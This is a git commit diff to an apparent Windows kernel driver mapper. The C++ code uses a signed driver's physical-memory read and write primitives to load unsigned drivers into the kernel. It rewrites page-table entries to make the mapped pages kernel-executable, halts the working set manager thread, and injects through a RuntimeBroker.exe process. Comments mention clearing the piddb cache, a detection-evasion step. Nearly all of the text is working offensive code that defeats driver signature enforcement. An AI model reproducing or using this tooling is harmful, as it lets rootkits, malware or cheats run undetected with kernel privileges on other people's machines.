major stability update! much much more stable :^)

merge-requests/5/head
_xeroxz 4 years ago
parent 506db839de
commit 176d7dc0e8

@ -217,7 +217,7 @@
<ClInclude Include="util\util.hpp" /> <ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" /> <ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" /> <ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.h" /> <ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">

@ -67,10 +67,10 @@
<ClInclude Include="pe_image\pe_image.h"> <ClInclude Include="pe_image\pe_image.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.h"> <ClInclude Include="set_mgr\set_mgr.hpp">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="set_mgr\set_mgr.hpp"> <ClInclude Include="vdm_ctx\vdm_ctx.hpp">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
</ItemGroup> </ItemGroup>

@ -1,6 +1,6 @@
#include "map_driver.hpp" #include "map_driver.hpp"
#include "mapper_ctx/mapper_ctx.hpp" #include "mapper_ctx/mapper_ctx.hpp"
#include "vdm_ctx/vdm_ctx.h" #include "vdm_ctx/vdm_ctx.hpp"
#include "vdm/vdm.hpp" #include "vdm/vdm.hpp"
#include "set_mgr/set_mgr.hpp" #include "set_mgr/set_mgr.hpp"
@ -22,13 +22,30 @@ namespace mapper
if (!runtime_broker_pid) if (!runtime_broker_pid)
return { mapper_error::failed_to_create_proc, nullptr }; return { mapper_error::failed_to_create_proc, nullptr };
vdm::vdm_ctx v_ctx; vdm::read_phys_t _read_phys =
nasa::mem_ctx my_proc(v_ctx, GetCurrentProcessId()); [&](void* addr, void* buffer, std::size_t size) -> bool
nasa::mem_ctx runtime_broker(v_ctx, runtime_broker_pid); {
nasa::mapper_ctx mapper(my_proc, runtime_broker); return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx v_ctx(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&v_ctx, GetCurrentProcessId());
nasa::mem_ctx runtime_broker(&v_ctx, runtime_broker_pid);
nasa::mapper_ctx mapper(&my_proc, &runtime_broker);
const auto result =
set_mgr::stop_setmgr(v_ctx,
set_mgr::get_setmgr_pethread(v_ctx));
if (result != STATUS_SUCCESS)
return { mapper_error::set_mgr_failure, nullptr };
// shoot the tires off the set manager thread.....
set_mgr::stop_setmgr(v_ctx, set_mgr::get_setmgr_pethread(v_ctx));
const auto [drv_base, drv_entry] = mapper.map(drv_buffer); const auto [drv_base, drv_entry] = mapper.map(drv_buffer);
if (!drv_base || !drv_entry) if (!drv_base || !drv_entry)
return { mapper_error::init_failed, nullptr }; return { mapper_error::init_failed, nullptr };

@ -7,13 +7,14 @@ namespace mapper
{ {
enum class mapper_error enum class mapper_error
{ {
error_success = 0x000, // everything is good! error_success, // everything is good!
image_invalid = 0x111, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) image_invalid, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?)
load_error = 0x222, // unable to load signed driver into the kernel (are you running as admin?) load_error, // unable to load signed driver into the kernel (are you running as admin?)
unload_error = 0x333, // unable to unload signed driver from kernel (are all handles to this driver closes?) unload_error, // unable to unload signed driver from kernel (are all handles to this driver closes?)
piddb_fail = 0x444, // piddb cache clearing failed... (are you using this code below windows 10?) piddb_fail, // piddb cache clearing failed... (are you using this code below windows 10?)
init_failed = 0x555, // setting up library dependancies failed! init_failed, // setting up library dependancies failed!
failed_to_create_proc = 0x777 // was unable to create a new process to inject driver into! (RuntimeBroker.exe) failed_to_create_proc, // was unable to create a new process to inject driver into! (RuntimeBroker.exe)
set_mgr_failure // unable to stop working set manager thread... this thread can cause issues with PTM...
}; };
/// <summary> /// <summary>
@ -23,5 +24,5 @@ namespace mapper
/// <param name="image_size">size of the driver buffer</param> /// <param name="image_size">size of the driver buffer</param>
/// <param name="entry_data">data to be sent to the entry point of the driver...</param> /// <param name="entry_data">data to be sent to the entry point of the driver...</param>
/// <returns>status of the driver being mapped, and base address of the driver...</returns> /// <returns>status of the driver being mapped, and base address of the driver...</returns>
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data); auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data)->std::pair<mapper_error, void*>;
} }

@ -4,8 +4,8 @@ namespace nasa
{ {
mapper_ctx::mapper_ctx mapper_ctx::mapper_ctx
( (
nasa::mem_ctx& map_into, nasa::mem_ctx* map_into,
nasa::mem_ctx& map_from nasa::mem_ctx* map_from
) )
: :
map_into(map_into), map_into(map_into),
@ -14,7 +14,7 @@ namespace nasa
{ {
const auto map_into_pml4 = const auto map_into_pml4 =
reinterpret_cast<ppml4e>( reinterpret_cast<ppml4e>(
map_into.set_page(map_into.get_dirbase())); map_into->set_page(map_into->dirbase));
// look for an empty pml4e... // look for an empty pml4e...
for (auto idx = 0u; idx < 256; ++idx) for (auto idx = 0u; idx < 256; ++idx)
@ -30,18 +30,20 @@ namespace nasa
auto mapper_ctx::map(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*> auto mapper_ctx::map(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
{ {
const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image); const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image);
auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc); auto [drv_ppml4e, drv_pml4e] = map_from->get_pml4e(drv_alloc);
while (!SwitchToThread());
make_kernel_access(drv_alloc); make_kernel_access(drv_alloc);
map_from.set_pml4e(drv_ppml4e, pml4e{ NULL }); while (!map_from->set_pml4e(drv_ppml4e, pml4e{ NULL }))
while (!SwitchToThread()); continue;
drv_pml4e.nx = false; drv_pml4e.nx = false;
drv_pml4e.user_supervisor = false; drv_pml4e.user_supervisor = false;
map_into.write_phys(reinterpret_cast<ppml4e>( // ensure we insert the pml4e...
map_into.get_dirbase()) + this->pml4_idx, drv_pml4e); while (!map_into->write_phys(
reinterpret_cast<ppml4e>(
map_into->dirbase) + this->pml4_idx, drv_pml4e))
continue;
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) }; virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) };
new_addr.pml4_index = this->pml4_idx; new_addr.pml4_index = this->pml4_idx;
@ -50,7 +52,7 @@ namespace nasa
void mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const void mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const
{ {
map_into.v_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler); map_into->v_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler);
} }
auto mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*> auto mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
@ -60,11 +62,11 @@ namespace nasa
OpenProcess( OpenProcess(
PROCESS_ALL_ACCESS, PROCESS_ALL_ACCESS,
FALSE, FALSE,
map_from.get_pid() map_from->pid
); );
if (!process_handle) if (!process_handle)
return {}; return { {}, {} };
drv_image.fix_imports([&](const char* module_name, const char* export_name) drv_image.fix_imports([&](const char* module_name, const char* export_name)
{ {
@ -87,7 +89,7 @@ namespace nasa
)); ));
if (!drv_alloc_base) if (!drv_alloc_base)
return {}; return { {}, {} };
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc_base) }; virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc_base) };
new_addr.pml4_index = this->pml4_idx; new_addr.pml4_index = this->pml4_idx;
@ -110,15 +112,23 @@ namespace nasa
return return
{ {
reinterpret_cast<void*>(drv_alloc_base), reinterpret_cast<void*>(drv_alloc_base),
reinterpret_cast<void*>(drv_image.entry_point() + reinterpret_cast<std::uintptr_t>(new_addr.value)) reinterpret_cast<void*>(drv_image.entry_point() +
reinterpret_cast<std::uintptr_t>(new_addr.value))
}; };
} }
void mapper_ctx::make_kernel_access(void* drv_base) void mapper_ctx::make_kernel_access(void* drv_base)
{ {
const auto [ppdpte, pdpte] = map_from.get_pdpte(drv_base); const auto [ppdpte, pdpte] =
auto ppdpte_phys = reinterpret_cast<void*>((reinterpret_cast<std::uint64_t>(ppdpte) >> 12) << 12); // 0 the last 12 bits... map_from->get_pdpte(drv_base);
auto pdpt_mapping = reinterpret_cast<::ppdpte>(map_from.set_page(ppdpte_phys));
auto ppdpte_phys =
reinterpret_cast<void*>((
reinterpret_cast<std::uint64_t>(ppdpte) >> 12) << 12); // 0 the last 12 bits...
auto pdpt_mapping =
reinterpret_cast<::ppdpte>(
map_from->set_page(ppdpte_phys));
// set pdptes to CPL0 access only and executable... // set pdptes to CPL0 access only and executable...
for (auto pdpt_idx = 0u; pdpt_idx < 512; ++pdpt_idx) for (auto pdpt_idx = 0u; pdpt_idx < 512; ++pdpt_idx)
@ -129,7 +139,7 @@ namespace nasa
pdpt_mapping[pdpt_idx].nx = false; pdpt_mapping[pdpt_idx].nx = false;
auto pd_mapping = reinterpret_cast<ppde>( auto pd_mapping = reinterpret_cast<ppde>(
map_from.set_page(reinterpret_cast<void*>( map_from->set_page(reinterpret_cast<void*>(
pdpt_mapping[pdpt_idx].pfn << 12))); pdpt_mapping[pdpt_idx].pfn << 12)));
// set pdes to CPL0 access only and executable... // set pdes to CPL0 access only and executable...
@ -141,7 +151,7 @@ namespace nasa
pd_mapping[pd_idx].nx = false; pd_mapping[pd_idx].nx = false;
auto pt_mapping = reinterpret_cast<ppte>( auto pt_mapping = reinterpret_cast<ppte>(
map_from.set_page(reinterpret_cast<void*>( map_from->set_page(reinterpret_cast<void*>(
pd_mapping[pd_idx].pfn << 12))); pd_mapping[pd_idx].pfn << 12)));
// set ptes to CPL0 access only and executable... // set ptes to CPL0 access only and executable...
@ -156,14 +166,14 @@ namespace nasa
// set page back to pd... // set page back to pd...
pd_mapping = reinterpret_cast<ppde>( pd_mapping = reinterpret_cast<ppde>(
map_from.set_page(reinterpret_cast<void*>( map_from->set_page(reinterpret_cast<void*>(
pdpt_mapping[pdpt_idx].pfn << 12))); pdpt_mapping[pdpt_idx].pfn << 12)));
} }
} }
// set page back to pdpt... // set page back to pdpt...
pdpt_mapping = reinterpret_cast<::ppdpte>( pdpt_mapping = reinterpret_cast<::ppdpte>(
map_from.set_page(ppdpte_phys)); map_from->set_page(ppdpte_phys));
} }
} }
} }

@ -6,14 +6,14 @@ namespace nasa
class mapper_ctx class mapper_ctx
{ {
public: public:
explicit mapper_ctx(nasa::mem_ctx& map_into, nasa::mem_ctx& map_from); explicit mapper_ctx(nasa::mem_ctx* map_into, nasa::mem_ctx* map_from);
auto map(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>; auto map(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>;
void call_entry(void* drv_entry, void** hook_handler) const; void call_entry(void* drv_entry, void** hook_handler) const;
private: private:
std::uint16_t pml4_idx; std::uint16_t pml4_idx;
auto allocate_driver(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>; auto allocate_driver(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>;
void make_kernel_access(void* drv_base); void make_kernel_access(void* drv_base);
nasa::mem_ctx map_into, map_from; nasa::mem_ctx* map_into, *map_from;
}; };
} }

@ -2,20 +2,25 @@
namespace nasa namespace nasa
{ {
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid) mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
: :
v_ctx(&v_ctx), v_ctx(v_ctx),
dirbase(get_dirbase(v_ctx, pid)), dirbase(get_dirbase(*v_ctx, pid)),
pid(pid) pid(pid)
{ {
// find an empty pml4e inside of current processes pml4... // find an empty pml4e inside of current processes pml4...
const auto current_pml4 = const auto current_pml4 =
v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>( v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(v_ctx, GetCurrentProcessId()))); get_dirbase(*v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx) for (auto idx = 100u; idx > 0u; --idx)
if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value) {
if (!v_ctx->rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).present)
{
this->pml4e_index = idx; this->pml4e_index = idx;
break;
}
}
// allocate a pdpt // allocate a pdpt
this->new_pdpt.second = this->new_pdpt.second =
@ -31,13 +36,17 @@ namespace nasa
// get page table entries for new pdpt // get page table entries for new pdpt
pt_entries new_pdpt_entries; pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second); hyperspace_entries(new_pdpt_entries, new_pdpt.second);
this->new_pdpt.first = reinterpret_cast<ppdpte>(new_pdpt_entries.pt.second.pfn << 12);
this->new_pdpt.first =
reinterpret_cast<ppdpte>(
new_pdpt_entries.pt.second.pfn << 12);
// make a new pml4e that points to our new pdpt. // make a new pml4e that points to our new pdpt.
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
// set the pml4e to point to the new pdpt // set the pml4e to point to the new pdpt
set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
this->pml4e_index, new_pdpt_entries.pml4.second, true);
// make a new pd // make a new pd
this->new_pd.second = this->new_pd.second =
@ -54,7 +63,10 @@ namespace nasa
// get paging table entries for pd // get paging table entries for pd
pt_entries new_pd_entries; pt_entries new_pd_entries;
hyperspace_entries(new_pd_entries, this->new_pd.second); hyperspace_entries(new_pd_entries, this->new_pd.second);
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
this->new_pd.first =
reinterpret_cast<ppde>(
new_pd_entries.pt.second.pfn << 12);
// make a new pt // make a new pt
this->new_pt.second = this->new_pt.second =
@ -71,42 +83,42 @@ namespace nasa
// get paging table entries for pt // get paging table entries for pt
pt_entries new_pt_entries; pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second); hyperspace_entries(new_pt_entries, this->new_pt.second);
this->new_pt.first = reinterpret_cast<ppte>(new_pt_entries.pt.second.pfn << 12);
this->new_pt.first =
reinterpret_cast<ppte>(
new_pt_entries.pt.second.pfn << 12);
} }
mem_ctx::~mem_ctx() mem_ctx::~mem_ctx()
{ {
set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, pml4e{NULL}); const auto pml4 =
while (!SwitchToThread()); reinterpret_cast<ppml4e>(
set_page(dirbase))[pml4e_index] = pml4e{ NULL };
} }
void* mem_ctx::set_page(void* addr) void* mem_ctx::set_page(void* addr)
{ {
// table entry change. ++pte_index;
if (pte_index > 511)
{ {
++pte_index; ++pde_index;
if (pte_index >= 511) pte_index = 0;
{ }
++pde_index;
pte_index = 0;
}
if (pde_index >= 511)
{
++pdpte_index;
pde_index = 0;
}
if (pdpte_index >= 511) if (pde_index > 511)
pdpte_index = 0; {
++pdpte_index;
pde_index = 0;
} }
if (pdpte_index > 511)
pdpte_index = 0;
pdpte new_pdpte = { NULL }; pdpte new_pdpte = { NULL };
new_pdpte.present = true; new_pdpte.present = true;
new_pdpte.rw = true; new_pdpte.rw = true;
new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12; new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12;
new_pdpte.user_supervisor = true; new_pdpte.user_supervisor = true;
new_pdpte.accessed = true;
// set pdpte entry // set pdpte entry
*reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte; *reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte;
@ -116,7 +128,6 @@ namespace nasa
new_pde.rw = true; new_pde.rw = true;
new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12; new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12;
new_pde.user_supervisor = true; new_pde.user_supervisor = true;
new_pde.accessed = true;
// set pde entry // set pde entry
*reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde; *reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde;
@ -126,7 +137,6 @@ namespace nasa
new_pte.rw = true; new_pte.rw = true;
new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12; new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12;
new_pte.user_supervisor = true; new_pte.user_supervisor = true;
new_pte.accessed = true;
// set pte entry // set pte entry
*reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte; *reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte;
@ -145,18 +155,39 @@ namespace nasa
new_addr.pd_index = this->pde_index; new_addr.pd_index = this->pde_index;
new_addr.pt_index = this->pte_index; new_addr.pt_index = this->pte_index;
new_addr.offset = this->page_offset; new_addr.offset = this->page_offset;
// handle TLB issues, the TLB might need to be flushed for this entry...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// try again to access the page...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
// try one last time by yeilding execution...
__except (EXCEPTION_EXECUTE_HANDLER)
{
while (!SwitchToThread())
continue;
}
}
return new_addr.value; return new_addr.value;
} }
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid) void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{ {
const auto peproc = const auto peproc =
reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid)); reinterpret_cast<std::uint64_t>(
v_ctx.get_peprocess(pid));
const auto dirbase = return reinterpret_cast<void*>(
v_ctx.rkm<pte>(peproc + 0x28); v_ctx.rkm<pte>(peproc + 0x28).pfn << 12);
return reinterpret_cast<void*>(dirbase.pfn << 12);
} }
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
@ -201,95 +232,106 @@ namespace nasa
return true; return true;
} }
std::pair<ppte, pte> mem_ctx::get_pte(void* addr, bool use_hyperspace) auto mem_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair<ppte, pte>
{ {
if (!dirbase || !addr) if (!dirbase || !addr)
return {}; return { {}, {} };
pt_entries entries; pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pt.first, entries.pt.second }; return { entries.pt.first, entries.pt.second };
return {};
return { {}, {} };
} }
void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) bool mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
{ {
if (!dirbase || !addr) if (!dirbase || !addr)
return; return false;
if (use_hyperspace) if (use_hyperspace)
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte); return v_ctx->wkm(
else v_ctx->get_virtual(
write_phys(addr, pte); reinterpret_cast<std::uintptr_t>(addr)), pte);
return write_phys(addr, pte);
} }
std::pair<ppde, pde> mem_ctx::get_pde(void* addr, bool use_hyperspace) auto mem_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair<ppde, pde>
{ {
if (!dirbase || !addr) if (!dirbase || !addr)
return {}; return { {}, {} };
pt_entries entries; pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pd.first, entries.pd.second }; return { entries.pd.first, entries.pd.second };
return {}; return { {}, {} };
} }
void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) bool mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
{ {
if (!this->dirbase || !addr) if (!dirbase || !addr)
return; return false;
if (use_hyperspace) if (use_hyperspace)
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde); return v_ctx->wkm(
else v_ctx->get_virtual(
write_phys(addr, pde); reinterpret_cast<std::uintptr_t>(addr)), pde);
return write_phys(addr, pde);
} }
std::pair<ppdpte, pdpte> mem_ctx::get_pdpte(void* addr, bool use_hyperspace) auto mem_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair<ppdpte, pdpte>
{ {
if (!dirbase || !addr) if (!dirbase || !addr)
return {}; return { {}, {} };
pt_entries entries; pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pdpt.first, entries.pdpt.second }; return { entries.pdpt.first, entries.pdpt.second };
return {};
return { {}, {} };
} }
void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) bool mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
{ {
if (!this->dirbase || !addr) if (!dirbase || !addr)
return; return false;
if (use_hyperspace) if (use_hyperspace)
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte); return v_ctx->wkm(
else v_ctx->get_virtual(
write_phys(addr, pdpte); reinterpret_cast<std::uintptr_t>(addr)), pdpte);
return write_phys(addr, pdpte);
} }
std::pair<ppml4e, pml4e> mem_ctx::get_pml4e(void* addr, bool use_hyperspace) auto mem_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair<ppml4e, pml4e>
{ {
if (!this->dirbase || !addr) if (!dirbase || !addr)
return {}; return { {}, {} };
pt_entries entries; pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pml4.first, entries.pml4.second }; return { entries.pml4.first, entries.pml4.second };
return {};
return { {}, {} };
} }
void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) bool mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
{ {
if (!this->dirbase || !addr) if (!dirbase || !addr)
return; return false;
if (use_hyperspace) if (use_hyperspace)
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e); return v_ctx->wkm(
else v_ctx->get_virtual(
write_phys(addr, pml4e); reinterpret_cast<std::uintptr_t>(addr)), pml4e);
return write_phys(addr, pml4e);
} }
std::pair<void*, void*> mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) auto mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
{ {
if (!buffer || !addr || !size || !dirbase) if (!buffer || !addr || !size || !dirbase)
return {}; return {};
@ -331,7 +373,7 @@ namespace nasa
} }
} }
std::pair<void*, void*> mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) auto mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
{ {
if (!buffer || !addr || !size || !dirbase) if (!buffer || !addr || !size || !dirbase)
return {}; return {};
@ -373,10 +415,10 @@ namespace nasa
} }
} }
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{ {
if (!buffer || !addr || !size) if (!buffer || !addr || !size)
return; return false;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
__try __try
@ -384,13 +426,16 @@ namespace nasa
memcpy(buffer, temp_page, size); memcpy(buffer, temp_page, size);
} }
__except (EXCEPTION_EXECUTE_HANDLER) __except (EXCEPTION_EXECUTE_HANDLER)
{} {
return false;
}
return true;
} }
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{ {
if (!buffer || !addr || !size) if (!buffer || !addr || !size)
return; return false;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
__try __try
@ -398,12 +443,15 @@ namespace nasa
memcpy(temp_page, buffer, size); memcpy(temp_page, buffer, size);
} }
__except (EXCEPTION_EXECUTE_HANDLER) __except (EXCEPTION_EXECUTE_HANDLER)
{} {
return false;
}
return true;
} }
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
{ {
if (!addr || !this->dirbase) if (!addr || !dirbase)
return {}; return {};
const virt_addr_t virt_addr{ addr }; const virt_addr_t virt_addr{ addr };
@ -447,37 +495,4 @@ namespace nasa
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset); return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
} }
unsigned mem_ctx::get_pid() const
{
return pid;
}
void* mem_ctx::get_dirbase() const
{
return dirbase;
}
pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
{
return read_phys<::pml4e>(reinterpret_cast<ppml4e>(this->dirbase) + pml4_idx);
}
pdpte mem_ctx::operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pml4_entry = this->operator[](entry_idx.first);
return read_phys<::pdpte>(reinterpret_cast<ppdpte>(pml4_entry.pfn << 12) + entry_idx.second);
}
pde mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
return read_phys<::pde>(reinterpret_cast<ppde>(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
}
pte mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
return read_phys<::pte>(reinterpret_cast<ppte>(pd_entry.pfn << 12) + std::get<3>(entry_idx));
}
} }

@ -1,36 +1,33 @@
#pragma once #pragma once
#include "../util/nt.hpp" #include "../util/nt.hpp"
#include "../vdm_ctx/vdm_ctx.h" #include "../vdm_ctx/vdm_ctx.hpp"
namespace nasa namespace nasa
{ {
class mem_ctx class mem_ctx
{ {
friend class mapper_ctx;
public: public:
explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId()); explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
~mem_ctx(); ~mem_ctx();
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false); auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); bool set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false); auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair<ppde, pde>;
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); bool set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false); auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair<ppdpte, pdpte>;
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); bool set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false); auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); bool set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
void* get_dirbase() const;
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid); static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
void read_phys(void* buffer, void* addr, std::size_t size); bool read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size); bool write_phys(void* buffer, void* addr, std::size_t size);
template <class T> template <class T>
T read_phys(void* addr) __forceinline T read_phys(void* addr)
{ {
T buffer; T buffer;
read_phys((void*)&buffer, addr, sizeof(T)); read_phys((void*)&buffer, addr, sizeof(T));
@ -38,13 +35,13 @@ namespace nasa
} }
template <class T> template <class T>
void write_phys(void* addr, const T& data) __forceinline bool write_phys(void* addr, const T& data)
{ {
write_phys((void*)&data, addr, sizeof(T)); return write_phys((void*)&data, addr, sizeof(T));
} }
std::pair<void*, void*> read_virtual(void* buffer, void* addr, std::size_t size); auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size); auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
template <class T> template <class T>
